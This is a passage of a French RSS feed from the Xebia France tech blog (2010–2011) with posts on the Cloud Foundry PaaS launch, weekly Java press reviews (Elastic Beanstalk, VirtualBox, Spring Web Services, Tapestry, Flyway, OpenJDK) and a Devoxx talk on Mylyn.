title="SpringSource/VMware annonce sa plateforme Code2Cloud" href="http://blog.xebia.fr/2010/11/02/revue-de-presse-xebia-183/#SpringOneGXLesannoncesdeSpring">SpringSource/VMware annonce sa plateforme Code2Cloud</a>, qui propose ni plus ni moins d&#8217;apporter le Cloud au développeur via la mise à disposition d&#8217;une suite logicielle de <a
title="gestion du cycle de vie des applications" href="http://en.wikipedia.org/wiki/Application_lifecycle_management">gestion du cycle de vie des applications</a>. Cette plateforme Cloud met à disposition des développeurs des outils tels qu&#8217;un bugtracker basé sur Bugzilla, une intégration avec Mylyn pour Eclipse, un Gestionnaire de code source avec Git, une plateforme d&#8217;intégration continue avec Hudson, ainsi qu&#8217;un ensemble d&#8217;outils intégrés via <a
title="STS" href="http://www.springsource.com/developer/sts">STS</a>.</li></ul><p
style="text-align: left;"> La liste n&#8217;est sûrement pas exhaustive, mais tout cela ne serait pas complet si <a
title="SpringSource ne proposait pas une mise  jour de son framework Spring en version 31" href="http://blog.xebia.fr/2010/11/02/revue-de-presse-xebia-183/#SpringOneGXLesannoncesdeSpring">SpringSource ne proposait pas une mise à jour de son framework Spring en version 3.1</a>. Cette version propose notamment un support de fonctionnalités de cache, un support du protocole AMQP ou bien encore un support des profils permettant de gérer plus facilement des configuration de beans différentes en fonctions des environnements.</p><h2 style="text-align: left;"><a
name="QuestcequeCloudFoundry"></a>Qu&#8217;est-ce que Cloud Foundry?</h2><p
style="text-align: left;">Cloud Foundry, c&#8217;est tout d&#8217;abord un projet de Platform as a Service Open-Source sous licence Apache 2.0 hébergé sur <a
title="GitHub" href="https://github.com/cloudfoundry">GitHub</a> avec un <a
title="site officiel" href="http://www.cloudfoundry.org/">site officiel</a>. Mais c&#8217;est également une <a
title="plateforme dhbergement en mode PaaS" href="http://www.cloudfoundry.com/">plateforme d&#8217;hébergement en mode PaaS</a>, permettant de déployer ses applications en un clic depuis la suite applicative Spring Tool Suite. Cloud Foundry se veut être le premier fournisseur &laquo;&nbsp;Plateform as a Service&nbsp;&raquo; réellement basé sur une solution ouverte, qui n&#8217;implique pas un lock-in technologique.</p><p
style="text-align: left;">SpringSource/VMware à vu les choses en grand puisque le projet se veut multi-langages en proposant le support d&#8217;au moins 3 langages différents: Java (+ différents langages tournant sur la JVM), Ruby, et JavaScript, ainsi que le support de différents frameworks/DSL Web de premier rang, tels que <a
title="Rails" href="http://rubyonrails.org/">Rails</a> ou bien encore <a
title="Sinatra" href="http://www.sinatrarb.com/">Sinatra</a> pour Ruby, ainsi que <a
title="Grails" href="http://grails.org/">Grails</a> pour <a
title="Groovy" href="http://groovy.codehaus.org/">Groovy</a>.</p><p
style="text-align: left;">Au chapitre stockage de données, l&#8217;offre de Cloud Foundry n&#8217;est pas en reste puisque sont proposés les supports d&#8217;une base clé/valeurs via le support Redis, d&#8217;une base orientée document via le support de MongoDB, et d&#8217;une base de données relationnelle via le support de MySQL.</p><p
style="text-align: left;">La suite Spring Tool Suite, qui permet de développer des applications SpringSource sous Eclipse, permet d&#8217;ores et déjà d&#8217;accéder à l&#8217;ensemble de l&#8217;outillage nécessaire pour développer une application prête pour Cloud Foundry.</p><p
style="text-align: left;"><em>Bon à savoir:</em> Une version Cloud Foundry Micro Cloud sera bientôt proposée au téléchargement, elle permettra de faire tourner dans VMware Fusion ou VMware Player une image iso correspondant à une mono instance Cloud Foundry adaptée à un Desktop.</p><div><a
href="http://blog.xebia.fr/wp-content/uploads/2011/04/tumblr_ljjvb5AwCd1qijq5ro1_500.png"></a></div><p
style="text-align: center;"><img
class="size-full wp-image-7416 alignnone" title="tumblr_ljjvb5AwCd1qijq5ro1_500" src="http://blog.xebia.fr/wp-content/uploads/2011/04/tumblr_ljjvb5AwCd1qijq5ro1_500.png" alt="tumblr_ljjvb5AwCd1qijq5ro1_500" width="500" height="360" /></p><p
style="text-align: left;">Face à la richesse de la solution proposée, certains concurrents semblent faire pâle figure, et risquent d&#8217;être relégués à un rôle de challenger de second rang ou bien d&#8217;offre Cloud d&#8217;entrée de gamme.</p><p>Google et son App Engine a du souci à se faire, et va devoir être innovant s&#8217;il veut conserver une place de choix. La solution de CloudBees quant à elle est en train de se faire couper l&#8217;herbe sous le pied, puisque SpringSource/VMware propose maintenant non seulement une offre PaaS de Run at Cloud avec Cloud Foundry, mais également une offre <em>en preview</em> de Build at Cloud avec Code2Cloud.</p><p
style="text-align: left;">Tout cela profite bien évidemment au monde du développement qui voit s&#8217;ouvrir devant lui de nouvelles perspectives qui commençaient à se faire attendre.</p><p
style="text-align: left;"><em>NB:</em> Il est tout de même nécessaire de noter que l&#8217;accès à la <em>Beta</em> de la plateforme est conditionné par l&#8217;obtention d&#8217;un compte, ce qui peut mettre un certain temps. Il semblerait que les équipes aient du mal à suivre la demande. Autre point en suspens, il n&#8217;est pour l&#8217;instant annoncé aucun prix relatif à l&#8217;offre de SpringSource/VMware, espérons que les prix ne fassent pas l&#8217;effet d&#8217;un pétard mouillé. Pour le moment, l&#8217;accès à l&#8217;offre est gratuit, et ce au moins jusqu&#8217;à la fin de la <em>Beta</em>.</p><h2 style="text-align: left;"><a
name="Liensintressants"></a>Liens intéressants</h2><p
style="text-align: left;">Vous trouverez quelques liens ci-dessous permettant de creuser le sujet:</p><ul
style="text-align: left;"><li>Le site communautaire du projet est disponible à l&#8217;adresse suivante: <a
title="httpwwwcloudfoundryorg" href="http://www.cloudfoundry.org">http://www.cloudfoundry.org</a>.</li><li>La plateforme d&#8217;hébergement de Cloud Foundry : <a
title="httpwwwcloudfundrycom" href="http://www.cloudfoundry.com">http://www.cloudfundry.com</a>.</li><li>Le projet GitHub: <a
title="httpsgithubcomcloudfoundry" href="https://github.com/cloudfoundry">https://github.com/cloudfoundry</a>.</li></ul><p
style="text-align: left;">Ainsi que différents articles permettant de bootstrapper rapidement un projet Cloud Foundry avec sa technologie préférée:</p><ul
style="text-align: left;"><li><a
title="Dployer son application Grails en une tape avec Cloud Foundry" href="http://blog.springsource.com/2011/04/12/one-step-deployment-with-grails-and-cloud-foundry/">Déployer son application Grails en une étape avec Cloud Foundry</a>.</li><li><a
title="Roo + Cloud Foundry = La productivité dans le Cloud" href="http://blog.springsource.com/2011/04/12/roo-cloud-foundry-productivity-in-the-cloud/">Roo + Cloud Foundry = La productivité dans le Cloud</a>.</li><li><a
title="Cloud Foundry pour les dveloppeurs Spring" href="http://blog.springsource.com/2011/04/12/cloud-foundry-for-spring-developers/">Cloud Foundry pour les développeurs Spring</a> &#8211; Très bon article sur l&#8217;utilisation des outils STS pour travailler avec Cloud Foundry</li><li><a
title="Lancement de Cloud Foundry  La premire plateforme PaaS ouverte de lindustrie informatique" href="http://blog.springsource.com/2011/04/12/launching-cloud-foundry/">Lancement de Cloud Foundry &#8211; La première plateforme PaaS ouverte de l&#8217;industrie informatique</a></li></ul> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2011/04/13/lancement-du-projet-platform-as-a-service-cloud-foundry-de-spring-source/feed/</wfw:commentRss> <slash:comments>6</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2011/01/25/revue-de-presse-xebia-195/</link> <comments>http://blog.xebia.fr/2011/01/25/revue-de-presse-xebia-195/#comments</comments> <pubDate>Tue, 25 Jan 2011 12:28:42 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[Amazon]]></category> <category><![CDATA[Beanstalk]]></category> <category><![CDATA[Spring]]></category> <category><![CDATA[Spring Web Service]]></category> <category><![CDATA[Virtualisation]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=6734</guid> <description><![CDATA[La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII Amazon Elastic Beanstalk est disponible en bêta publique Le coin de la technique Sortie de VirtualBox 4.0.2 Sortie de Spring Web Services 2.0 Actualité éditeurs / SSII Amazon Elastic Beanstalk est disponible en bêta publique Cette semaine, Amazon a lancé [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br
/> <em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité  éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2011/01/25/revue-de-presse-xebia-195/#AmazonElasticBeanstalkestdispo">Amazon Elastic Beanstalk est disponible en bêta publique</a></li></ul><p><strong>Le coin de la  technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2011/01/25/revue-de-presse-xebia-195/#SortiedeVirtualBox">Sortie de VirtualBox 4.0.2</a></li><li><a
href="http://blog.xebia.fr/2011/01/25/revue-de-presse-xebia-195/#SortiedeSpringWebServices">Sortie de Spring Web Services 2.0</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité  éditeurs / SSII</h3><h4><a
name="AmazonElasticBeanstalkestdispo"></a>Amazon Elastic Beanstalk est disponible en bêta publique</h4><p>Cette semaine, Amazon a lancé en bêta le service <a
href="http://aws.amazon.com/elasticbeanstalk/" title="Elastic Beanstalk" >Elastic Beanstalk</a>. Ce nouveau service de Cloud Computing est un PaaS (Platform as a Service). Toutefois, Beanstalk se veut différent de ses concurrents en vous offrant davantage de contrôle sur l&#8217;infrastructure sous-jacente. Le service s&#8217;appuie ainsi sur les autres services Amazon existants : EC2, S3, Elastic Load Balancing, Auto-scaling et Simple Notification.</p><p>Cette première version du service autorise seulement le déploiement d&#8217;application web Java. Vous téléchargez votre application (au format WAR); le service instancie et configure pour vous un serveur, un load balancer et un groupe d&#8217;auto-scaling. L&#8217;application est ensuite disponible, au bout de quelques minutes, à une adresse de type <a
href="http://monapplication.elasticbeanstalk.com" title="httpmonapplicationelasticbeanstalkcom" >http://monapplication.elasticbeanstalk.com</a>.</p><p>Si l&#8217;on rentre un peu plus dans les détails, le stockage de votre archive s&#8217;effectue dans Amazon S3 et votre machine serveur se base sur une AMI (Amazon Machine Image) Linux, Apache et Tomcat 6. Depuis la console d&#8217;administration, vous pouvez entre autres:</p><ul><li>Monitorer les instances de votre application (CPU, latence, consommation de la bande passante)</li><li><em>Dimensionner</em> la machine en choisissant un type d&#8217;instance parmi ceux proposés par EC2</li><li>Paramétrer les critères de montée en charge (trafic réseau, utilisation CPU, etc.)</li><li>Accéder aux fichiers de log Tomcat directement depuis l&#8217;interface</li><li>Autoriser la connexion directe aux instances utilisées (à réserver aux <em>cas extrêmes</em> <img
src='http://blog.xebia.fr/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> )</li></ul><p>Le service est accessible dès à présent pour Java, mais devrait évoluer pour supporter davantage de <a
href="http://aws.typepad.com/aws/2011/01/introducing-elastic-beanstalk.html" title="langages et de plateformes" >langages et de plate-formes</a>. Enfin pour les plus curieux d&#8217;entre vous, sachez que son utilisation est couverte par les quotas gratuits des services Amazon.</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la  technique</h3><h4><a
name="SortiedeVirtualBox"></a>Sortie de VirtualBox 4.0.2</h4><p>Avis à tous ceux qui utilisent des machines virtuelles (et je les suppose nombreux dans notre branche) : le <a
href="http://www.virtualbox.org/" title="VirtualBox" >VirtualBox</a> nouveau est sorti. Après une version majeure 4.0 en fin décembre 2010, voici la première release de l&#8217;année avec son lot de corrections de bugs (un peu plus de 30). Il est agréable de voir que les premiers bugfix arrivent rapidement après une release majeure. Cela permet de renforcer la confiance dans cette génération 4. Pour la liste complète des correctifs, <a
href="http://www.virtualbox.org/wiki/Changelog" title="voir le changelog" >voir le changelog</a>.</p><h4><a
name="SortiedeSpringWebServices"></a>Sortie de Spring Web Services 2.0</h4><p>La version 2.0 du module Spring Web Services a vu le jour après presqu&#8217;une année de travail. Parmi les modifications importantes, il est nécessaire de citer la dépendance à la librairie <strong>Spring 3.0</strong> (suite au refactoring du module Spring OXM). Cette dépendance à Spring 3.0 s&#8217;accompagne également d&#8217;une contrainte, l&#8217;utilisation de <strong>java 5</strong>.</p><p>Cette version, en plus des habituels correctifs, offre plus de souplesse sur les types pris en charge dans les signatures de méthodes. Le système d&#8217;annotation similaire, dans l&#8217;esprit, à celui de Spring MVC s&#8217;intègre d&#8217;emblée avec les librairies: jdom, dom4j, XOM, JAXB2 et StAX. Autre nouveauté majeure, un support poussé pour les tests d&#8217;intégration des parties clientes (utilisant WebServiceTemplate) et/ou serveur grâce au module spring-ws-test. Cette version est rétro compatible avec la version 1.5. Pour davantage de détails sur les changements et correctifs, consultez <a
href="http://blog.springsource.com/2011/01/11/spring-web-services-2-0-released/" title="l'annonce officielle" >l&#8217;annonce officielle</a> et le <a
href="http://static.springsource.org/spring-ws/docs/2.0.0.RELEASE/changelog.txt" title="changelog" >changelog</a>.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2011/01/25/revue-de-presse-xebia-195/feed/</wfw:commentRss> <slash:comments>3</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2010/12/28/revue-de-presse-xebia-191/</link> <comments>http://blog.xebia.fr/2010/12/28/revue-de-presse-xebia-191/#comments</comments> <pubDate>Tue, 28 Dec 2010 12:12:02 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[Cloud / NoSQL]]></category> <category><![CDATA[Flyway]]></category> <category><![CDATA[liquibase]]></category> <category><![CDATA[Spring]]></category> <category><![CDATA[Spring Data]]></category> <category><![CDATA[Tapestry]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=6382</guid> <description><![CDATA[La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII Tapestry 5.2 Flyway, gérer la migration de vos bases de données Le coin de la technique Spring étend son support des technologies NoSql. Actualité éditeurs / SSII Tapestry 5.2 Comme Howard Lewis Ship l’a annoncé la semaine dernière, Tapestry 5.2 [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br
/> <em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité  éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/12/28/revue-de-presse-xebia-191/#Tapestry">Tapestry 5.2</a></li><li><a
href="http://blog.xebia.fr/2010/12/28/revue-de-presse-xebia-191/#Flywaygrerlamigrationdevosbase">Flyway, gérer la migration de vos bases de données</a></li></ul><p><strong>Le coin de la  technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/12/28/revue-de-presse-xebia-191/#Springtendsonsupportdestechnol">Spring étend son support des technologies NoSql.</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité  éditeurs / SSII</h3><h4><a
name="Tapestry"></a>Tapestry 5.2</h4><p>Comme Howard Lewis Ship l’a <a
href="http://tapestry.apache.org/2010/12/17/announcing-tapestry-52.html" title="annonc" >annoncé</a> la semaine dernière, Tapestry 5.2 est enfin disponible après 18 mois d’effort. Parmi les améliorations majeures:</p><ul><li>Suppression du mécanisme de <em>page pooling</em>. Ce mécanisme permettait de contrôler le nombre d’instances d’une page par requête. Mais ces pages pouvaient être lourdes et engendrer des problèmes de mémoires. A présent une seule instance par page est nécessaire et c’est une <em>Map</em> contenant les différentes transformations qui est gérée pour chaque thread.</li><li><a
href="http://tapestryjava.blogspot.com/2010/03/live-service-reloading-in-tapestry-52.html" title="Rechargement  chaud" >Rechargement à chaud</a> des services définis dans Tapestry. Avant il était possible de le faire uniquement sur les pages et les composants.</li><li>Support pour la JSR-303 sur la <a
href="http://blog.xebia.fr/2010/07/15/bean-validation/" title="validation de bean" >validation de bean</a>.</li><li>Meilleur support des tests avec une intégration plus pertinente aux cycles de démarrage de Selenium et Jetty.</li></ul><p>Tout en préservant la compatibilité ascendante, contrairement à ce qui a pu être reproché sur d&#8217;anciennes versions, Tapestry 5.2 apporte des changements en profondeur qui devraient améliorer les performances et la productivité, pour rejoindre la nouvelle devise de Tapestry: <strong>Code less, deliver more</strong>.</p><h4><a
name="Flywaygrerlamigrationdevosbase"></a>Flyway, gérer la migration de vos bases de données</h4><p>Maintenir les schémas des bases de données d’un projet d’une version à l’autre et sur les différents environnements de développement et de test peut devenir une vraie gageure. <a
href="http://blog.xebia.fr/2008/12/03/refactorisation-de-bases-de-donnees-avec-liquibase/" title="Liquibase" >Liquibase</a>, parmi d’autres, propose déjà une solution qui permet de tracer les différents changements de la base dans des fichiers xml qui permettent ensuite d’appliquer ces migrations ou inversement, de faire des rollbacks.</p><p>Une nouvelle solution nous est proposée par <a
href="http://code.google.com/p/flyway/" title="Flyway" >Flyway</a>, qui vient de sortir sa version 1.0. L’approche semble plus légère que pour Liquibase et contient quelques atouts:</p><ul><li>les fichiers de migrations sont directement des scripts sql. Un projet qui a déjà ses scripts de migrations mais qui veut rationaliser leur gestion aura donc plus de facilités à adopter cette solution.</li><li>la convention est privilégiée à la configuration. Pour détecter le changement d’une version à une autre, Flyway s’appuie sur des règles de nommages des fichiers de configuration.</li><li>il est possible également d’utiliser du code java dans le cas par exemple d’insertion de données complexes comme des blobs.</li><li>l’intégration avec maven est plutôt bien <a
href="http://code.google.com/p/flyway/wiki/MavenPlugin" title="pense" >pensée</a>.</li></ul><p>Sans doute moins complet que Liquibase et manquant de maturité, le projet a débuté en avril 2010. Sa simplicité peut devenir un avantage dans sa rapidité d’adoption. Par contre, certains reprocheront, entre autres, l’absence d’intégration à Hibernate ou d’autres ORM. Il sera d&#8217;autant plus intéressant de surveiller la future version de <a
href="http://liquibase.org/v2_features" title="Liquibase" >Liquibase</a>.</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la  technique</h3><h4><a
name="Springtendsonsupportdestechnol"></a>Spring étend son support des technologies NoSql.</h4><p>Après CouchDB, MongoDb et Neo4j, c&#8217;est au tour des bases clé-valeur <a
href="http://www.springsource.org/node/2980" title="Riak" >Riak</a> et <a
href="http://www.springsource.org/node/2975" title="Redis" >Redis</a> de faire leur entrée dans le projet <a
href="http://www.springsource.org/spring-data" title="Spring Data" >Spring Data</a>. Le but du projet Spring Data est de permettre aux développeurs d&#8217;utiliser plus facilement les bases de données non relationnelles, en mettant à leur disposition une couche d&#8217;abstraction &laquo;&nbsp;à la Spring&nbsp;&raquo;, avec pour chaque base, un <code>SpringTemplate</code>. En pratique, ce n&#8217;est guère plus qu&#8217;un wrapper autour de quelques méthodes clé de ces bases NoSql (put, get&#8230;). Mais ce projet a pour mérite de mettre en lumière ces nouvelles technologies et de les amener à la connaissance de la large communauté Spring.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2010/12/28/revue-de-presse-xebia-191/feed/</wfw:commentRss> <slash:comments>2</slash:comments> </item> <item><title>Devoxx &#8211; Augmenter votre productivité avec Mylyn</title><link>http://blog.xebia.fr/2010/11/16/devoxx-augmenter-votre-productivite-avec-mylyn/</link> <comments>http://blog.xebia.fr/2010/11/16/devoxx-augmenter-votre-productivite-avec-mylyn/#comments</comments> <pubDate>Tue, 16 Nov 2010 06:35:01 +0000</pubDate> <dc:creator>Romain Maton</dc:creator> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[Devoxx]]></category> <category><![CDATA[Eclipse]]></category> <category><![CDATA[Mylyn]]></category> <category><![CDATA[Spring]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=5883</guid> <description><![CDATA[Et c&#8217;est parti pour les Tools in action avec pour ma part la session Augmenter votre productivité avec Mylyn de Oliver Gierke, SpringSource. Mylyn, c&#8217;est le framework ALM (Application Lifecycle Management) d&#8217;Eclipse. Il réorganise tout l&#8217;IDE autour de tâches. Celles-ci seront ensuite traduites par Mylyn pour nos différents outils comme notre gestionnaire de sources, notre [...]]]></description> <content:encoded><![CDATA[<p>Et c&#8217;est parti pour les <a
href="http://www.devoxx.com/display/Devoxx2K10/Tools+in+Action" title="Tools in action" >Tools in action</a> avec pour ma part la session <a
href="http://www.devoxx.com/display/Devoxx2K10/Increasing+developer+productivity+with+Mylyn" title="Augmenter votre productivité avec Mylyn" >Augmenter votre productivité avec Mylyn</a> de <a
href="http://www.devoxx.com/display/Devoxx2K10/Oliver+Gierke" title="Oliver Gierke" >Oliver Gierke</a>, SpringSource.</p><div
align="center"> <img
src="http://blog.xebia.fr/wp-content/uploads/2010/11/devoxx-oliver-gierke.png" border="0" alt="" /></div><p>Mylyn, c&#8217;est le framework ALM (Application Lifecycle Management) d&#8217;Eclipse. Il réorganise tout l&#8217;IDE autour de tâches. Celles-ci seront ensuite traduites par Mylyn pour nos différents outils comme notre gestionnaire de sources, notre intégration continue ou bien encore notre bugtracker. Le développeur pourra ainsi ne se préoccuper que de ses tâches, Mylyn s&#8217;occupant du reste.</p><p>Oliver Gierke nous oriente vers 3 grands domaines concernant cette fameuse productivité recherchée du développeur : <em>focus</em>, <em>productivity</em> et <em>traceability</em>.</p><h3><a
name="Focus"></a>Focus</h3><p>Tout se passe dans l&#8217;onglet <em>Task List</em> d&#8217;Eclipse avec une liste de tâches à effectuer. A noter qu&#8217;on ne peut activer qu&#8217;une seule tâche à la fois.</p><p>Le concept : chaque tâche aura son propre contexte de travail.</p><p>Ainsi, dès lors que l&#8217;on a activé une tâche, l&#8217;onglet <em>Task List</em> se vide et laisse apparaître tous les fichiers sur lesquels nous sommes en train de travailler. L&#8217;intérêt est que si l&#8217;on change en cours de route de tâche, la nouvelle tâche repartira d&#8217;un contexte vide et, en revenant sur notre première tâche, on récupérera notre contexte avec tous nos fichiers modifiés.</p><h3><a
name="Productivity"></a>Productivity</h3><p>L&#8217;idée ici est de gagner du temps en ayant tout de suite à sa disposition les bons outils intégrés dans son environnement de travail. En effet, avoir plus d&#8217;une dizaine d&#8217;outils répartis sur son IDE, dans son navigateur, sur son desktop&#8230; cela donne des alertes un peu n&#8217;importe où <img
src='http://blog.xebia.fr/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> Il faut donc passer d&#8217;un <em>patchwork</em> à un <em>integrated toolset</em>.</p><p>Par défaut, Mylyn gère un nombre assez important de bugtrackers et d&#8217;outils en tout genre avec dans le désordre : Bugzilla, Jira, Bamboo, Crucible, Trac, Mantis, Hudson, Egit, CVS&#8230;</p><p>Pour la récupération des informations de l&#8217;outil, prenons par exemple Jira, il est possible de définir ses propres requêtes afin de ne récupérer qu&#8217;une certaine partie des bugs. Pour la saisie d&#8217;un bug, on dispose d&#8217;un éditeur <em>Rich Task Editor</em> pour la saisie des informations liées au bug <em>(OS, version&#8230;)</em> et pour la partie commentaire on dispose de l&#8217;éditeur <em>WikiText</em> qui nous permet d&#8217;écrire de la syntaxe Wiki.</p><p>Toujours en terme de productivité, il est possible d&#8217;organiser ses requêtes ou ses outils en <em>Working Sets</em>. On pourra aussi exporter ses contextes avec de les partager avec toute l&#8217;équipe.</p><h3><a
name="Traceability"></a>Traceability</h3><p>Ce concept découle du point précédent. On peut ainsi pour une tâche donnée récupérer toute les informations utiles du type <em>qui</em>, <em>quoi</em> et <em>pourquoi</em>, tout étant regroupé en un seul point.</p><h3><a
name="Dmo"></a>Démo</h3><p>Vient ensuite une petite démo avec un projet directement connecté sur le bugtracker de SpringSource :</p><div
align="center"> <img
src="http://blog.xebia.fr/wp-content/uploads/2010/11/devoxx-demo-mylin.png" border="0" alt="" /></div><h3><a
name="CodeCloud"></a>Code2Cloud</h3><p>Pour terminer, Oliver nous parle de <a
href="http://tasktop.com/connectors/code2cloud.php" title="Code2Cloud" >Code2Cloud</a>, la solution complète de SpringSource pour simplifier la vie du développeur <em>(<a
href="http://blog.xebia.fr/2010/11/02/revue-de-presse-xebia-183/#SpringOneGXLesannoncesdeSpring" title="annonce faite au SpringOne2GX 2010" >annonce faite au SpringOne2GX 2010</a>)</em>.</p><p>Pourquoi parler de Code2Cloud ? Bugzilla, Git, Hudson, STS mais surtout&#8230;. Mylyn ! Olivier propose l&#8217;exemple de son intégration avec <a
href="http://blog.springsource.com/2010/05/26/spring-insight-1-0-0-m3-released/" title="Spring Insight" >Spring Insight</a>. On pourra ainsi configurer Spring Insight pour créer automatiquement un bug dans le bugtracker pour toute exception levée par l&#8217;application. Le bug sera bien sûr rempli avec la <em>stack trace</em> dans le bon champ, les classes impactées, OS/versions&#8230; Tout ceci toujours prévu pour le premier trimestre 2011.</p><h3><a
name="Pourconclure"></a>Pour conclure</h3><p>A noter enfin que <a
href="http://www.eclipse.org/mylyn/" title="Mylyn" >Mylyn</a> sous-projet de l&#8217;IDE <a
href="http://www.eclipse.org/" title="Eclipse" >Eclipse</a> est devenu <a
href="http://tasktop.com/blog/eclipse/mylyn-top-level-eclipse-project" title="top level Eclipse project" >top level Eclipse project</a> depuis mi-Septembre. Il rejoint entres autres WTP et EMF dans cette <em>short list</em> de projets qui représentent les secteurs clés d&#8217;Eclipse.</p><p>L&#8217;outil est bon mais pour ma part un point très gênant réside toujours : Un changement de contexte ne met pas de côté les changements effectués à la manière d&#8217;un <code>git stash</code> que l&#8217;on pourrait récupérer plus tard avec un <code>pop</code>. Si vous connaissez un plugin ou une petite commande qui fait ça, n&#8217;hésitez pas à commenter !</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2010/11/16/devoxx-augmenter-votre-productivite-avec-mylyn/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2010/11/16/revue-de-presse-xebia-185/</link> <comments>http://blog.xebia.fr/2010/11/16/revue-de-presse-xebia-185/#comments</comments> <pubDate>Mon, 15 Nov 2010 23:40:11 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[Apache]]></category> <category><![CDATA[Apple]]></category> <category><![CDATA[Harmony]]></category> <category><![CDATA[Hyperic]]></category> <category><![CDATA[OpenJDK]]></category> <category><![CDATA[S4]]></category> <category><![CDATA[SOA]]></category> <category><![CDATA[Spring]]></category> <category><![CDATA[Yahoo!]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=5878</guid> <description><![CDATA[La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII Apple va collaborer au projet OpenJDK Oracle et Apache: de l&#8217;eau dans le gaz SOA La SOA renait de ses cendres Le coin de la technique Sortie d&#8217;Hyperic 4.5 S4, le nouveau jouet de Yahoo! Actualité éditeurs / SSII Apple [...]]]></description> <content:encoded><![CDATA[<p><img
style="margin: 1em 1em 1em 1em; float: right;" src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" /></p><p><em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité  éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/11/16/revue-de-presse-xebia-185/#ApplevacollaborerauprojetOpenJ">Apple va collaborer au projet OpenJDK</a></li><li><a
href="http://blog.xebia.fr/2010/11/16/revue-de-presse-xebia-185/#OracleetApachedeleaudanslegaz">Oracle et Apache: de l&#8217;eau dans le gaz</a></li></ul><p><strong>SOA</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/11/16/revue-de-presse-xebia-185/#LaSOArenaitdesescendres">La SOA renait de ses cendres</a></li></ul><p><strong>Le coin de la  technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/11/16/revue-de-presse-xebia-185/#SortiedHyperic">Sortie d&#8217;Hyperic 4.5</a></li><li><a
href="http://blog.xebia.fr/2010/11/16/revue-de-presse-xebia-185/#SlenouveaujouetdeYahoo">S4, le nouveau jouet de Yahoo!</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité  éditeurs / SSII</h3><h4><a
name="ApplevacollaborerauprojetOpenJ"></a>Apple va collaborer au projet OpenJDK</h4><p>Presque un mois après son <a
title="annonce retentissante" href="http://blog.xebia.fr/2010/10/26/revue-de-presse-xebia-182/#LeJDKdApplecestfini">annonce retentissante</a> d&#8217;arrêter l&#8217;édition de la JVM pour Mac, Apple dans un <a
title="récent communiqué de presse" href="http://www.apple.com/pr/library/2010/11/12openjdk.html">récent communiqué de presse</a>, a annoncé sa future collaboration avec Oracle pour contribuer au projet OpenJDK. Il rassure ainsi sur le futur des JVM pour OS X. Avec dernièrement le <a
title="soutien dIBM" href="http://blog.xebia.fr/2010/10/12/revue-de-presse-xebia-180/#IBMrejointleprojetOpenJDK">soutien d&#8217;IBM</a> et maintenant d&#8217;Apple, le projet OpenJDK a de beaux jours devant lui. On espère que la qualité de l&#8217;intégration sera au rendez-vous pour les nombreux développeurs Java sous Mac.</p><p>Apple a confirmé que le JDK6 restera disponible de chez eux, pour OS X Snow Leopard et le prochain OS X Lion. Mais à partir du JDK 7, les versions pour Mac seront distribuées directement par Oracle. Chez Apple, on se félicite de ce partenariat qui devrait assurer aux Java-istes Mac d&#8217;obtenir dans le futur des releases au même rythme que tous les autres, au lieu d&#8217;avoir toujours un cran de retard. Espérons que tout se passe pour le mieux.</p><h4><a
name="OracleetApachedeleaudanslegaz"></a>Oracle et Apache: de l&#8217;eau dans le gaz</h4><p>Le début de la semaine passée a vu la Fondation Apache émettre <a
